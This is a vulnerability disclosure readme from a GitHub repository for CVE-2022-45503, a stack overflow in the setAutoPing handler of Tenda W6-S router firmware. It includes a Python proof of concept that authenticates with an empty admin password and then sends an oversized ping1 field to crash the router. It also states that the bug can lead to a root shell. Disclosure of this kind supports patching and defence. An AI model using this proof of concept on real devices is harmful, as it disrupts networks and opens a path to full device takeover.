CVE-2022-45503: IOT_Vul/readme.md at main · z1r00/IOT_Vul

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Tenda W6-S V1.0.0.4(510) Stack overflow vulnerability****Firmware information

• Manufacturer’s address：https://www.tenda.com.cn/

• Firmware download address ： https://www.tenda.com.cn/download/detail-2627.html

Affected version

Vulnerability details

In /goform/setAutoPing, when linkEn is 1, ping1 and ping2 will be spliced into v9 by sprintf. It is worth noting that there is no size check which leads to a stack overflow vulnerability.

Poc

import requests

target_url = ‘http://192.168.10.105/login/Auth’

target_headers = {’Host’ : '192.168.10.105’, ‘Content-Length’ : '65’, ‘Accept’ : '*/*’, ‘X-Requested-With’ : 'XMLHttpRequest’, ‘User-Agent’ : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36’, ‘Content-Type’ : 'application/x-www-form-urlencoded; charset=UTF-8’, ‘Origin’ : 'http://192.168.10.105’, ‘Referer’ : 'http://192.168.10.105/main.html’, ‘Accept-Encoding’ : 'gzip, deflate’, ‘Accept-Language’ : 'en-US,en;q=0.9’, ‘Cookie’ : 'user=’, ‘Connection’ : 'close’} p1 = ‘usertype=admin&password=&time=2022;7;6;14;9;6&username=’

requests.post(target_url, headers = target_headers, data = p1, verify = False, timeout = 1)

target_url = ‘http://192.168.10.105/goform/setAutoPing’

target_headers = {’Host’ : '192.168.10.105’, ‘Content-Length’ : '295’, ‘Accept’ : '*/*’, ‘X-Requested-With’ : 'XMLHttpRequest’, ‘User-Agent’ : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36’, ‘Content-Type’ : 'application/x-www-form-urlencoded; charset=UTF-8’, ‘Origin’ : 'http://192.168.10.105’, ‘Referer’ : 'http://192.168.10.105/main.html’, ‘Accept-Encoding’ : 'gzip, deflate’, ‘Accept-Language’ : 'en-US,en;q=0.9’, ‘Cookie’ : 'user=’, ‘Connection’ : 'close’}

p2 = ‘linkEn=1&ping1=’ + ‘a’ * 0x3000 requests.post(target_url, headers = target_headers, data = p2, verify = False, timeout = 1)

After sending the poc, the router will crash, and finally we can write the exp to get the root shell